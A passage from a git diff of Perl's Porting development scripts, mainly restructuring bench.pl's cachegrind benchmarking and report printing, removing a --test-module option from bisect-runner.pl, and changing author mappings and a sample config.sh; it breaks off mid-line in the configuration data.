{$x=1;} => nextstate; const; gvsv; sassign; unstack -# Note also that each statement is prefixed with a label; this avoids -# adjacent nextstate ops being optimised away. -# -# A final 1; statement is added so that the code is always in void -# context. -# -# It the compile flag is set for a test, the body of the loop is wrapped in -# eval 'sub { .... }' to measure compile time rather than execution time +# Return a string containing perl test code wrapped in a loop +# that runs $ARGV[0] times sub make_perl_prog { - my ($name, $test, $body) = @_; - my ($desc, $setup, $code, $pre, $post, $compile) = - @$test{qw(desc setup code pre post compile)}; - - $setup //= ''; - $pre = defined $pre ? "_PRE_: $pre; " : ""; - $post = defined $post ? "_POST_: $post; " : ""; - $code = $body ? $code : "1"; - $code = "_CODE_: $code; "; - my $full = "$pre$code$post _CXT_: 1; "; - $full = "eval q{sub { $full }};" if $compile; + my ($test, $desc, $setup, $code) = @_; return < $bisect_max; } - # Read in previous benchmark results - - foreach my $file (@{$OPTS{read}}) { - open my $in, '<:encoding(UTF-8)', $file - or die "Error: can't open '$file' for reading: $!\n"; + if ($OPTS{read}) { + open my $in, '<:encoding(UTF-8)', $OPTS{read} + or die " Error: can't open '$OPTS{read}' for reading: $!\n"; my $data = do { local $/; <$in> }; close $in; my $hash = JSON::PP::decode_json($data); if (int($FORMAT_VERSION) < int($hash->{version})) { die "Error: unsupported version $hash->{version} in file" - . " '$file' (too new)\n"; + . "'$OPTS{read}' (too new)\n"; } - my ($read_loop_counts, $read_perls, $read_results, $read_tests, $read_order) = + ($loop_counts, $perls, $results, $tests, $order) = @$hash{qw(loop_counts perls results tests order)}; - # check file contents for consistency - my $k_o = join ';', sort @$read_order; - my $k_r = join ';', sort keys %$read_results; - my $k_t = join ';', sort keys %$read_tests; - die "File '$file' contains no results\n" unless length $k_r; - die "File '$file' contains differing test and results names\n" - unless $k_r eq $k_t; - die "File '$file' contains differing test and sort order names\n" - unless $k_o eq $k_t; - - # delete tests not matching --tests= criteria, if any - filter_tests($read_results); - filter_tests($read_tests); - - for my $perl (@$read_perls) { - my $label = $perl->[1]; - die "Error: duplicate label '$label': seen in file '$file'\n" - if exists $seen_labels{$label}; - $seen_labels{$label}++; - } + filter_tests($results); + filter_tests($tests); - if (!$done_read) { - ($loop_counts, $perls, $results, $tests, $order) = - ($read_loop_counts, $read_perls, $read_results, $read_tests, $read_order); - $done_read = 1; - } - else { - # merge results across multiple files - - if ( join(';', sort keys %$tests) - ne join(';', sort keys %$read_tests)) - { - my $err = "Can't merge multiple read files: " - . "they contain differing test sets.\n"; - if ($OPTS{verbose}) { - $err .= "Previous tests:\n"; - $err .= " $_\n" for sort keys %$tests; - $err .= "tests from '$file':\n"; - $err .= " $_\n" for sort keys %$read_tests; - } - else { - $err .= "Re-run with --verbose to see the differences.\n"; - } - die $err; - } - - if ("@$read_loop_counts" ne "@$loop_counts") { - die "Can't merge multiple read files: differing loop counts:\n" - . " (previous=(@$loop_counts), " - . "'$file'=(@$read_loop_counts))\n"; - } - - push @$perls, @{$read_perls}; - foreach my $test (keys %{$read_results}) { - foreach my $label (keys %{$read_results->{$test}}) { - $results->{$test}{$label}= $read_results->{$test}{$label}; - } - } + if (!$order) { + $order = [ sort keys %$tests ]; } } - die "Error: --benchfile cannot be used when --read is present\n" - if $done_read && defined $OPTS{benchfile}; - # Gather list of perls to benchmark: - - if (@$cmd_line_args) { - unless ($done_read) { + if (@$perl_args) { + unless ($loop_counts) { # How many times to execute the loop for the two trials. The lower # value is intended to do the loop enough times that branch # prediction has taken hold; the higher loop allows us to see the # branch misses after that $loop_counts = [10, 20]; - ($tests, $order) = - read_tests_file($OPTS{benchfile} // 't/perf/benchmarks'); + ($tests, $order) = read_tests_file($OPTS{benchfile}); + die "Error: only a single test may be specified with --bisect\n" + if defined $OPTS{bisect} and keys %$tests != 1; } - @run_perls = process_executables_list($perls, @$cmd_line_args); + my @run_perls= process_puts($perls, @$perl_args); push @$perls, @run_perls; + die "Error: Not enough perls to run a report, and --write not specified.\n" + if @$perls < 2 and !$OPTS{write}; + $results = grind_run($tests, $order, \@run_perls, $loop_counts, $results); } - # strip @$order to just the actual tests present - $order = [ grep exists $tests->{$_}, @$order ]; - - # Now we know what perls and tests we have, do extra option processing - # and checking (done before grinding, so time isn't wasted if we die). - if (!$perls or !@$perls) { die "Error: nothing to do: no perls to run, no data to read.\n"; } - if (@$perls < 2 and $OPTS{show} and !$OPTS{raw}) { - die "Error: need at least 2 perls for comparison.\n" - } - - if ($OPTS{bisect}) { - die "Error: exactly one perl executable must be specified for bisect\n" - unless @$perls == 1; - die "Error: only a single test may be specified with --bisect\n" - unless keys %$tests == 1; - } + # now that we have a list of perls, use it to process the + # 'perl' component of the --norm and --sort args $OPTS{norm} = select_a_perl($OPTS{norm}, $perls, "--norm"); - if (defined $OPTS{'sort-perl'}) { $OPTS{'sort-perl'} = select_a_perl($OPTS{'sort-perl'}, $perls, "--sort"); @@ -1090,17 +737,6 @@ sub do_grind { $OPTS{'compact'} = select_a_perl($OPTS{'compact'}, $perls, "--compact"); } - - - # Run the benchmarks; accumulate with any previously read # results. - - if (@run_perls) { - $results = grind_run($tests, $order, \@run_perls, $loop_counts, $results); - } - - - # Handle the 3 forms of output - if (defined $OPTS{write}) { my $json = JSON::PP::encode_json({ version => $FORMAT_VERSION, @@ -1116,15 +752,27 @@ sub do_grind { print $out $json or die "Error: writing to file '$OPTS{write}': $!\n"; close $out or die "Error: closing file '$OPTS{write}': $!\n"; } - - if ($OPTS{show} or $OPTS{bisect}) { - # numerically process the raw data - ($processed, $averages) = + if (!$OPTS{write} or $OPTS{show}) { + if (@$perls < 2) { + die "Error: need more than one perl to do a report.\n"; + } + my ($processed, $averages) = grind_process($results, $perls, $loop_counts); - } - if ($OPTS{show}) { - if (defined $OPTS{compact}) { + if (defined $OPTS{bisect}) { + my @r = values %$results; + die "Panic: expected exactly one test result in bisect\n" + if @r != 1; + @r = values %{$r[0]}; + die "Panic: expected exactly one perl result in bisect\n" + if @r != 1; + my $c = $r[0]{$bisect_field}; + die "Panic: no result in bisect for field '$bisect_field'\n" + unless defined $c; + exit 0 if $bisect_min <= $c and $c <= $bisect_max; + exit 1; + } + elsif (defined $OPTS{compact}) { grind_print_compact($processed, $averages, $OPTS{compact}, $perls, $tests, $order); } @@ -1132,24 +780,6 @@ sub do_grind { grind_print($processed, $averages, $perls, $tests, $order); } } - - if ($OPTS{bisect}) { - # these panics shouldn't happen if the bisect checks above are sound - my @r = values %$results; - die "Panic: expected exactly one test result in bisect\n" - if @r != 1; - @r = values %{$r[0]}; - die "Panic: expected exactly one perl result in bisect\n" - if @r != 1; - my $c = $r[0]{$bisect_field}; - die "Panic: no result in bisect for field '$bisect_field'\n" - unless defined $c; - - print "Bisect: $bisect_field had the value $c\n"; - - exit 0 if $bisect_min <= $c and $c <= $bisect_max; - exit 1; - } } @@ -1167,13 +797,18 @@ sub grind_run { for my $test (grep $tests->{$_}, @$order) { # Create two test progs: one with an empty loop and one with code. + # Note that the empty loop is actually '{1;}' rather than '{}'; + # this causes the loop to have a single nextstate rather than a + # stub op, so more closely matches the active loop; e.g.: + # {1;} => nextstate; unstack + # {$x=1;} => nextstate; const; gvsv; sassign; unstack my @prog = ( - make_perl_prog($test, $tests->{$test}, 0), - make_perl_prog($test, $tests->{$test}, 1), + make_perl_prog($test, @{$tests->{$test}}{qw(desc setup)}, '1'), + make_perl_prog($test, @{$tests->{$test}}{qw(desc setup code)}), ); for my $p (@$perls) { - my ($perl, $label, $env, $args) = @$p; + my ($perl, $label, $env, @putargs) = @$p; # Run both the empty loop and the active loop # $counts->[0] and $counts->[1] times. @@ -1188,7 +823,7 @@ sub grind_run { . "valgrind --tool=cachegrind --branch-sim=yes " . "--cachegrind-out-file=/dev/null " . "$OPTS{grindargs} " - . "$perl $OPTS{perlargs} $args - $counts->[$j] 2>&1"; + . "$perl $OPTS{perlargs} @putargs - $counts->[$j] 2>&1"; # for debugging and error messages my $id = "$test/$label " . ($i ? "active" : "empty") . "/" @@ -1349,7 +984,7 @@ sub grind_run { # grind_process(): process the data that has been extracted from # cachgegrind's output. # -# $res is of the form ->{benchmark_name}{perl_label}[active][count]{field_name}, +# $res is of the form ->{benchmark_name}{perl_name}[active][count]{field_name}, # where active is 0 or 1 indicating an empty or active loop, # count is 0 or 1 indicating a short or long loop. E.g. # @@ -1364,8 +999,8 @@ sub grind_run { # # return \%output, \%averages, where # -# $output{benchmark_name}{perl_label}{field_name} = N -# $averages{perl_label}{field_name} = M +# $output{benchmark_name}{perl_name}{field_name} = N +# $averages{perl_name}{field_name} = M # # where N is the raw count ($OPTS{raw}), or count_perl0/count_perlI otherwise; # M is the average raw count over all tests ($OPTS{raw}), or @@ -1376,9 +1011,9 @@ sub grind_process { # Process the four results for each test/perf combo: # Convert - # $res->{benchmark_name}{perl_label}[active][count]{field_name} = n + # $res->{benchmark_name}{perl_name}[active][count]{field_name} = n # to - # $res->{benchmark_name}{perl_label}{field_name} = averaged_n + # $res->{benchmark_name}{perl_name}{field_name} = averaged_n # # $r[0][1] - $r[0][0] is the time to do ($counts->[1]-$counts->[0]) # empty loops, eliminating startup time @@ -1550,35 +1185,13 @@ sub sorted_test_names { } -# format one cell data item - -sub grind_format_cell { - my ($val, $width) = @_; - my $s; - if (!defined $val) { - return sprintf "%*s", $width, '-'; - } - elsif (abs($val) >= 1_000_000) { - # avoid displaying very large numbers (which might be the - # result of e.g. 1 / 0.000001) - return sprintf "%*s", $width, 'Inf'; - } - elsif ($OPTS{raw}) { - return sprintf "%*.1f", $width, $val; - } - else { - return sprintf "%*.2f", $width, $val * 100; - } -} - # grind_print(): display the tabulated results of all the cachegrinds. # # Arguments are of the form: -# $results->{benchmark_name}{perl_label}{field_name} = N -# $averages->{perl_label}{field_name} = M +# $results->{benchmark_name}{perl_name}{field_name} = N +# $averages->{perl_name}{field_name} = M # $perls = [ [ perl-exe, perl-label ], ... ] # $tests->{test_name}{desc => ..., ...} -# $order = [ 'foo::bar1', ... ] # order to display tests sub grind_print { my ($results, $averages, $perls, $tests, $order) = @_; @@ -1588,103 +1201,103 @@ sub grind_print { my %perl_labels; $perl_labels{$_->[0]} = $_->[1] for @$perls; + my $field_label_width = 6; + # Calculate the width to display for each column. + my $min_width = $OPTS{raw} ? 8 : 6; + my @widths = map { length($_) < $min_width ? $min_width : length($_) } + @perl_labels; + # Print standard header. grind_blurb($perls); my @test_names = sorted_test_names($results, $order, $perls); - my @fields = qw(Ir Dr Dw COND IND - COND_m IND_m - Ir_m1 Dr_m1 Dw_m1 - Ir_mm Dr_mm Dw_mm - ); - - if ($OPTS{fields}) { - @fields = grep exists $OPTS{fields}{$_}, @fields; - } - # If only a single field is to be displayed, use a more compact # format with only a single line of output per test. - my $one_field = @fields == 1; + my $one_field = defined $OPTS{fields} && keys(%{$OPTS{fields}}) == 1; - # The width of column 0: this is either field names, or for - # $one_field, test names + if ($one_field) { + print "Results for field " . (keys(%{$OPTS{fields}}))[0] . ".\n"; - my $width0 = 0; - for ($one_field ? @test_names : @fields) { - $width0 = length if length > $width0; - } + # The first column will now contain test names rather than + # field names; Calculate the max width. - # Calculate the widths of the data columns + $field_label_width = 0; + for (@test_names) { + $field_label_width = length if length > $field_label_width; + } - my @widths = map length, @perl_labels; + # Print the perl executables header. - for my $test (@test_names) { - my $res = ($test eq 'AVERAGE') ? $averages : $results->{$test}; - for my $field (@fields) { - for my $i (0..$#widths) { - my $l = length grind_format_cell( - $res->{$perl_labels[$i]}{$field}, 1); - $widths[$i] = $l if $l > $widths[$i]; + print "\n"; + for my $i (0,1) { + print " " x $field_label_width; + for (0..$#widths) { + printf " %*s", $widths[$_], + $i ? ('-' x$widths[$_]) : $perl_labels[$_]; } + print "\n"; } } - # Print the results for each test + # Dump the results for each test. - for my $test (0..$#test_names) { - my $test_name = $test_names[$test]; + for my $test_name (@test_names) { my $doing_ave = ($test_name eq 'AVERAGE'); - my $res = $doing_ave ? $averages : $results->{$test_name}; - - # print per-test header + my $res1 = $doing_ave ? $averages : $results->{$test_name}; - if ($one_field) { - print "\nResults for field $fields[0]\n\n" if $test == 0; - } - else { + unless ($one_field) { print "\n$test_name"; print "\n$tests->{$test_name}{desc}" unless $doing_ave; print "\n\n"; - } - - # Print the perl executable names header. - if (!$one_field || $test == 0) { + # Print the perl executables header. for my $i (0,1) { - print " " x $width0; + print " " x $field_label_width; for (0..$#widths) { printf " %*s", $widths[$_], - $i ? ('-' x$widths[$_]) : $perl_labels[$_]; + $i ? ('-' x$widths[$_]) : $perl_labels[$_]; } print "\n"; } } - my $field_suffix = ''; + for my $field (qw(Ir Dr Dw COND IND + N + COND_m IND_m + N + Ir_m1 Dr_m1 Dw_m1 + N + Ir_mm Dr_mm Dw_mm + )) + { + next if $OPTS{fields} and ! exists $OPTS{fields}{$field}; - # print a line of data + if ($field eq 'N') { + print "\n"; + next; + } - for my $field (@fields) { if ($one_field) { - printf "%-*s", $width0, $test_name; + printf "%-*s", $field_label_width, $test_name; } else { - # If there are enough fields, print a blank line - # between groups of fields that have the same suffix - if (@fields > 4) { - my $s = ''; - $s = $1 if $field =~ /(_\w+)$/; - print "\n" if $s ne $field_suffix; - $field_suffix = $s; - } - printf "%*s", $width0, $field; + printf "%*s", $field_label_width, $field; } for my $i (0..$#widths) { - print " ", grind_format_cell($res->{$perl_labels[$i]}{$field}, - $widths[$i]); + my $res2 = $res1->{$perl_labels[$i]}; + my $p = $res2->{$field}; + if (!defined $p) { + printf " %*s", $widths[$i], '-'; + } + elsif ($OPTS{raw}) { + printf " %*.1f", $widths[$i], $p; + } + else { + printf " %*.2f", $widths[$i], $p * 100; + } } print "\n"; } @@ -1698,15 +1311,18 @@ sub grind_print { # which perl to display. # # Arguments are of the form: -# $results->{benchmark_name}{perl_label}{field_name} = N -# $averages->{perl_label}{field_name} = M +# $results->{benchmark_name}{perl_name}{field_name} = N +# $averages->{perl_name}{field_name} = M # $perls = [ [ perl-exe, perl-label ], ... ] # $tests->{test_name}{desc => ..., ...} -# $order = [ 'foo::bar1', ... ] # order to display tests sub grind_print_compact { my ($results, $averages, $which_perl, $perls, $tests, $order) = @_; + + # the width to display for each column. + my $width = $OPTS{raw} ? 7 : 6; + # Print standard header. grind_blurb($perls); @@ -1726,48 +1342,31 @@ sub grind_print_compact { @fields = grep exists $OPTS{fields}{$_}, @fields; } - # calculate the the max width of the test names - - my $name_width = 0; - for (@test_names) { - $name_width = length if length > $name_width; - } - - # Calculate the widths of the data columns - - my @widths = map length, @fields; - - for my $test (@test_names) { - my $res = ($test eq 'AVERAGE') ? $averages : $results->{$test}; - $res = $res->{$perls->[$which_perl][1]}; - for my $i (0..$#fields) { - my $l = length grind_format_cell($res->{$fields[$i]}, 1); - $widths[$i] = $l if $l > $widths[$i]; - } - } - - # Print header - - printf " %*s", $widths[$_], $fields[$_] for 0..$#fields; + printf " %*s", $width, $_ for @fields; print "\n"; - printf " %*s", $_, ('-' x $_) for @widths; + printf " %*s", $width, '------' for @fields; print "\n"; - # Print the results for each test - for my $test_name (@test_names) { my $doing_ave = ($test_name eq 'AVERAGE'); my $res = $doing_ave ? $averages : $results->{$test_name}; $res = $res->{$perls->[$which_perl][1]}; - my $desc = $doing_ave - ? $test_name - : sprintf "%-*s %s", $name_width, $test_name, - $tests->{$test_name}{desc}; - for my $i (0..$#fields) { - print " ", grind_format_cell($res->{$fields[$i]}, $widths[$i]); + for my $field (@fields) { + my $p = $res->{$field}; + if (!defined $p) { + printf " %*s", $width, '-'; + } + elsif ($OPTS{raw}) { + printf " %*.1f", $width, $p; + } + else { + printf " %*.2f", $width, $p * 100; + } + } - print " $desc\n"; + + print " $test_name\n"; } } diff --git a/Porting/bisect-runner.pl b/Porting/bisect-runner.pl index 00319211c979..b127540b2ba2 100755 --- a/Porting/bisect-runner.pl +++ b/Porting/bisect-runner.pl @@ -67,7 +67,7 @@ 'all-fixups', 'early-fixup=s@', 'late-fixup=s@', 'valgrind', 'check-args', 'check-shebang!', 'usage|help|?', 'gold=s', 'module=s', 'with-module=s', 'cpan-config-dir=s', - 'test-module=s', 'no-module-tests', + 'no-module-tests', 'A=s@', 'D=s@' => sub { my (undef, $val) = @_; @@ -128,23 +128,13 @@ } pod2usage(exitval => 255, verbose => 1) - unless @ARGV || $match || $options{'test-build'} - || defined $options{'one-liner'} || defined $options{module} - || defined $options{'test-module'}; + unless @ARGV || $match || $options{'test-build'} || defined $options{'one-liner'} || defined $options{module}; pod2usage(exitval => 255, verbose => 1) if !$options{'one-liner'} && ($options{l} || $options{w}); if ($options{'no-module-tests'} && $options{module}) { print STDERR "--module and --no-module-tests are exclusive.\n\n"; pod2usage(exitval => 255, verbose => 1) } -if ($options{'no-module-tests'} && $options{'test-module'}) { - print STDERR "--test-module and --no-module-tests are exclusive.\n\n"; - pod2usage(exitval => 255, verbose => 1) -} -if ($options{module} && $options{'test-module'}) { - print STDERR "--module and --test-module are exclusive.\n\n"; - pod2usage(exitval => 255, verbose => 1) -} check_shebang($ARGV[0]) if $options{'check-shebang'} && @ARGV && !$options{match}; @@ -625,21 +615,6 @@ =head1 OPTIONS =item * ---test-module - -This is like I<--module>, but just runs the module's tests, instead of -installing it. - -WARNING: This is a somewhat experimental option, known to work on recent -CPAN shell versions. If you use this option and strange things happen, -please report them. - -Usually, you can just use I<--module>, but if you are getting inconsistent -installation failures and you just want to see when the tests started -failing, you might find this option useful. - -=item * - --cpan-config-dir /home/blah/custom If defined, this will cause L to look for F inside of @@ -1423,8 +1398,7 @@ sub match_and_exit { my $prefix; # Testing a module? We need to install perl/cpan modules to a temp dir -if ($options{module} || $options{'with-module'} || $options{'test-module'}) -{ +if ($options{module} || $options{'with-module'}) { $prefix = tempdir(CLEANUP => 1); push @ARGS, "-Dprefix=$prefix"; @@ -1514,40 +1488,12 @@ sub match_and_exit { system "$options{make} $j $real_target ' fails, and - # Makefile tries to run minitest. - - # Of course, helpfully sometimes it's called ../perl, other times .././perl - # and who knows if that list is exhaustive... - my ($dev0, $ino0) = stat 't/perl'; - my ($dev1, $ino1) = stat 'perl'; - unless (defined $dev0 && defined $dev1 && $dev0 == $dev1 && $ino0 == $ino1) { - undef $expected_file_found; - my $link = readlink $expected_file; - warn "'t/perl' => '$link', not 'perl'"; - die_255("Could not realink t/perl: $!") unless defined $link; - } -} - -my $just_testing = 0; - -if ($options{'test-build'}) { - report_and_exit($expected_file_found, 'could build', 'could not build', - $real_target); -} elsif (!$expected_file_found) { - skip("could not build $real_target"); -} elsif (my $mod_opt = $options{module} || $options{'with-module'} - || ($just_testing++, $options{'test-module'})) { - # Testing a cpan module? See if it will install +# Testing a cpan module? See if it will install +if ($options{module} || $options{'with-module'}) { # First we need to install this perl somewhere system_or_die('./installperl'); - my @m = split(',', $mod_opt); + my @m = split(',', $options{module} || $options{'with-module'}); my $bdir = File::Temp::tempdir( CLEANUP => 1, @@ -1580,18 +1526,15 @@ sub match_and_exit { s/-/::/g if /-/ and !m|/|; } my $install = join ",", map { "'$_'" } @m; - if ($just_testing) { - $install = "test($install)"; - } elsif ($options{'no-module-tests'}) { + if ($options{'no-module-tests'}) { $install = "notest('install',$install)"; } else { $install = "install($install)"; } my $last = $m[-1]; - my $status_method = $just_testing ? 'test' : 'uptodate'; - my $shellcmd = "$install; die unless CPAN::Shell->expand(Module => '$last')->$status_method;"; + my $shellcmd = "$install; die unless CPAN::Shell->expand(Module => '$last')->uptodate;"; - if ($options{module} || $options{'test-module'}) { + if ($options{module}) { run_report_and_exit(@cpanshell, $shellcmd); } else { my $ret = run_with_options({setprgp => $options{setpgrp}, @@ -1606,6 +1549,33 @@ sub match_and_exit { } } +my $expected_file_found = $expected_file =~ /perl$/ + ? -x $expected_file : -r $expected_file; + +if ($expected_file_found && $expected_file eq 't/perl') { + # Check that it isn't actually pointing to ../miniperl, which will happen + # if the sanity check ./miniperl -Ilib -MExporter -e '' fails, and + # Makefile tries to run minitest. + + # Of course, helpfully sometimes it's called ../perl, other times .././perl + # and who knows if that list is exhaustive... + my ($dev0, $ino0) = stat 't/perl'; + my ($dev1, $ino1) = stat 'perl'; + unless (defined $dev0 && defined $dev1 && $dev0 == $dev1 && $ino0 == $ino1) { + undef $expected_file_found; + my $link = readlink $expected_file; + warn "'t/perl' => '$link', not 'perl'"; + die_255("Could not realink t/perl: $!") unless defined $link; + } +} + +if ($options{'test-build'}) { + report_and_exit($expected_file_found, 'could build', 'could not build', + $real_target); +} elsif (!$expected_file_found) { + skip("could not build $real_target"); +} + match_and_exit($real_target, @ARGV) if $match; if (defined $options{'one-liner'}) { diff --git a/Porting/checkAUTHORS.pl b/Porting/checkAUTHORS.pl index 800bbeb2ce14..399268783219 100755 --- a/Porting/checkAUTHORS.pl +++ b/Porting/checkAUTHORS.pl @@ -190,9 +190,6 @@ sub generate_known_author_map { # Randy W. Sims "ml-perl\100thepierianspring.org", - # Jason Hord - "pravus\100cpan.org", - # perl internal addresses "perl5-porters\100africa.nicoh.com", "perlbug\100perl.org",, @@ -630,7 +627,6 @@ sub _raw_address { gbacon\100itsc.uah.edu gbacon\100adtrn-srv4.adtran.com gerberb\100zenez.com root\100devsys0.zenez.com gfuji\100cpan.org g.psy.va\100gmail.com -genesullivan50\100yahoo.com gsullivan\100cpan.org gerard\100ggoossen.net gerard\100tty.nl gibreel\100pobox.com stephen.zander\100interlock.mckesson.com + srz\100loopback @@ -696,7 +692,6 @@ sub _raw_address { + jpeacock\100jpeacock-hp.doesntexist.org + jpeacock\100cpan.org + jpeacock\100rowman.com -james.schneider\100db.com jschneid\100netilla.com jpl.jpl\100gmail.com jpl\100research.att.com jql\100accessone.com jql\100jql.accessone.com jsm28\100hermes.cam.ac.uk jsm28\100cam.ac.uk @@ -884,7 +879,6 @@ sub _raw_address { + schwern\100athens.arena-i.com + schwern\100blackrider.aocn.com + schwern\100ool-18b93024.dyn.optonline.net -scop\100cs132170.pp.htv.fi ville.skytta\100iki.fi scotth\100sgi.com author scotth\100sgi.com 842220273 +0000 + schotth\100sgi.com schwab\100suse.de schwab\100issan.informatik.uni-dortmund.de diff --git a/Porting/checkcfgvar.pl b/Porting/checkcfgvar.pl index ce72fe56af3f..601be184ae1f 100755 --- a/Porting/checkcfgvar.pl +++ b/Porting/checkcfgvar.pl @@ -48,7 +48,6 @@ sub usage # We can't base our check on $], because that's the version of the # perl that we are running, not the version of the source tree. "Cross/config.sh-arm-linux", - "Cross/config.sh-arm-linux-n770", "NetWare/config.wc", "symbian/config.sh", "uconfig.sh", diff --git a/Porting/cmpVERSION.pl b/Porting/cmpVERSION.pl index 40413500910f..ea95de8988c9 100755 --- a/Porting/cmpVERSION.pl +++ b/Porting/cmpVERSION.pl @@ -96,8 +96,6 @@ 'cpan/version/t/coretests.pm', # just a test module 'dist/Attribute-Handlers/demo/MyClass.pm', # it's just demonstration code 'dist/Exporter/lib/Exporter/Heavy.pm', - 'dist/Module-CoreList/lib/Module/CoreList.pm', - 'dist/Module-CoreList/lib/Module/CoreList/Utils.pm', 'lib/Carp/Heavy.pm', 'lib/Config.pm', # no version number but contents will vary 'win32/FindExt.pm', @@ -172,7 +170,6 @@ sub pm_file_from_xs { } printf "1..%d\n" => scalar keys %module_diffs if $tap; -print "#\n# Comparing against $tag_to_compare ....\n#\n" if $tap; my $count; my $diff_cmd = "git --no-pager diff $tag_to_compare "; @@ -198,14 +195,9 @@ sub pm_file_from_xs { print "ok $count - $pm_file\n" if $tap; } else { if ($tap) { - print "#\n# " . '-' x 75 . "\n" - . "# Version number ($pm_version) unchanged since" - . " $tag_to_compare, but contents have changed:\n#\n"; foreach (sort @{$module_diffs{$pm_file}}) { print "# $_" for `$diff_cmd $q$_$q`; } - print "# " . '-' x 75 . "\n"; - if (exists $skip_versions{$pm_file} and grep $pm_version eq $_, @{$skip_versions{$pm_file}}) { print "ok $count - SKIP $pm_file version $pm_version\n"; diff --git a/Porting/config.sh b/Porting/config.sh index 8e525137890d..755a95d88635 100644 --- a/Porting/config.sh +++ b/Porting/config.sh @@ -8,23 +8,17 @@ # Package name : perl5 # Source directory : . -# Configuration time: Fri Dec 22 16:17:32 GMT 2017 -# Configured by : yourname -# Target system : linux barba.rous.org 3.16.0-4-amd64 #1 smp debian 3.16.43-2+deb8u2 (2017-06-26) x86_64 gnulinux +# Configuration time: Sat Apr 23 12:25:12 BST 2016 +# Configured by : aaron +# Target system : darwin daybreak 13.4.0 darwin kernel version 13.4.0: mon jan 11 18:17:34 pst 2016; root:xnu-2422.115.15~1release_x86_64 x86_64 i386 macbookpro11,3 darwin : Configure command line arguments. -config_arg0='./Configure' -config_args='-Dprefix=/opt/perl -Dcf_by=yourname -Dcf_email=yourname@yourhost.yourplace.com -Dperladmin=yourname@yourhost.yourplace.com -Dmydomain=.yourplace.com -Dmyhostname=yourhost -Duse64bitint -Dusedevel -dE' -config_argc=9 -config_arg1='-Dprefix=/opt/perl' -config_arg2='-Dcf_by=yourname' -config_arg3='-Dcf_email=yourname@yourhost.yourplace.com' -config_arg4='-Dperladmin=yourname@yourhost.yourplace.com' -config_arg5='-Dmydomain=.yourplace.com' -config_arg6='-Dmyhostname=yourhost' -config_arg7='-Duse64bitint' -config_arg8='-Dusedevel' -config_arg9='-dE' +config_arg0='Configure' +config_args='-des -Dusedevel -Dprefix=/tmp/mblead' +config_argc=3 +config_arg1='-des' +config_arg2='-Dusedevel' +config_arg3='-Dprefix=/tmp/mblead' Author='' Date='' @@ -42,41 +36,42 @@ _o='.o' afs='false' afsroot='/afs' alignbytes='8' -aphostname='' +ansi2knr='' +aphostname='/bin/hostname' api_revision='5' api_subversion='0' -api_version='29' -api_versionstring='5.29.0' +api_version='26' +api_versionstring='5.26.0' ar='ar' -archlib='/opt/perl/lib/5.29.0/x86_64-linux' -archlibexp='/opt/perl/lib/5.29.0/x86_64-linux' +archlib='/tmp/mblead/lib/perl5/5.26.2/darwin-2level' +archlibexp='/tmp/mblead/lib/perl5/5.26.2/darwin-2level' archname64='' -archname='x86_64-linux' +archname='darwin-2level' archobjs='' asctime_r_proto='0' awk='awk' baserev='5.0' bash='' -bin='/opt/perl/bin' -bin_ELF='define' -binexp='/opt/perl/bin' +bin='/tmp/mblead/bin' +bin_ELF='undef' +binexp='/tmp/mblead/bin' bison='bison' byacc='byacc' -byteorder='12345678' +byteorder='ffff' c='' castflags='0' cat='cat' cc='cc' -cccdlflags='-fPIC' -ccdlflags='-Wl,-E' -ccflags='-fwrapv -fno-strict-aliasing -pipe -fstack-protector-strong -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -D_FORTIFY_SOURCE=2' -ccflags_uselargefiles='-D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64' +cccdlflags=' ' +ccdlflags=' ' +ccflags='-fno-common -DPERL_DARWIN -mmacosx-version-min=10.9 -fno-strict-aliasing -pipe -fstack-protector -I/usr/local/include -I/opt/local/include -DPERL_USE_SAFE_PUTENV' +ccflags_uselargefiles='' ccname='gcc' ccsymbols='' ccversion='' -cf_by='yourname' -cf_email='yourname@yourhost.yourplace.com' -cf_time='Fri Dec 22 16:17:32 GMT 2017' +cf_by='aaron' +cf_email='aaron@daybreak.nonet' +cf_time='Sat Apr 23 12:25:12 BST 2016' charbits='8' charsize='1' chgrp='' @@ -91,18 +86,18 @@ cpio='' cpp='cpp' cpp_stuff='42' cppccsymbols='' -cppflags='-fwrapv -fno-strict-aliasing -pipe -fstack-protector-strong -I/usr/local/include' +cppflags='-fno-common -DPERL_DARWIN -mmacosx-version-min=10.9 -fno-strict-aliasing -pipe -fstack-protector -I/usr/local/include -I/opt/local/include' cpplast='-' cppminus='-' cpprun='cc -E' cppstdin='cc -E' -cppsymbols='_FILE_OFFSET_BITS=64 _LARGEFILE_SOURCE=1 _LP64=1 _POSIX_C_SOURCE=200809L _POSIX_SOURCE=1 _STDC_PREDEF_H=1 __ATOMIC_ACQUIRE=2 __ATOMIC_ACQ_REL=4 __ATOMIC_CONSUME=1 __ATOMIC_HLE_ACQUIRE=65536 __ATOMIC_HLE_RELEASE=131072 __ATOMIC_RELAXED=0 __ATOMIC_RELEASE=3 __ATOMIC_SEQ_CST=5 __BIGGEST_ALIGNMENT__=16 __BYTE_ORDER__=1234 __CHAR16_TYPE__=short\ unsigned\ int __CHAR32_TYPE__=unsigned\ int __CHAR_BIT__=8 __DBL_DECIMAL_DIG__=17 __DBL_DENORM_MIN__=((double)4.94065645841246544177e-324L) __DBL_DIG__=15 __DBL_EPSILON__=((double)2.22044604925031308085e-16L) __DBL_HAS_DENORM__=1 __DBL_HAS_INFINITY__=1 __DBL_HAS_QUIET_NAN__=1 __DBL_MANT_DIG__=53 __DBL_MAX_10_EXP__=308 __DBL_MAX_EXP__=1024 __DBL_MAX__=((double)1.79769313486231570815e+308L) __DBL_MIN_10_EXP__=(-307) __DBL_MIN_EXP__=(-1021) __DBL_MIN__=((double)2.22507385850720138309e-308L) __DEC128_EPSILON__=1E-33DL __DEC128_MANT_DIG__=34 __DEC128_MAX_EXP__=6145 __DEC128_MAX__=9.999999999999999999999999999999999E6144DL __DEC128_MIN_EXP__=(-6142) __DEC128_MIN__=1E-6143DL __DEC128_SUBNORMAL_MIN__=0.000000000000000000000000000000001E-6143DL __DEC32_EPSILON__=1E-6DF __DEC32_MANT_DIG__=7 __DEC32_MAX_EXP__=97 __DEC32_MAX__=9.999999E96DF __DEC32_MIN_EXP__=(-94) __DEC32_MIN__=1E-95DF __DEC32_SUBNORMAL_MIN__=0.000001E-95DF __DEC64_EPSILON__=1E-15DD __DEC64_MANT_DIG__=16 __DEC64_MAX_EXP__=385 __DEC64_MAX__=9.999999999999999E384DD __DEC64_MIN_EXP__=(-382) __DEC64_MIN__=1E-383DD 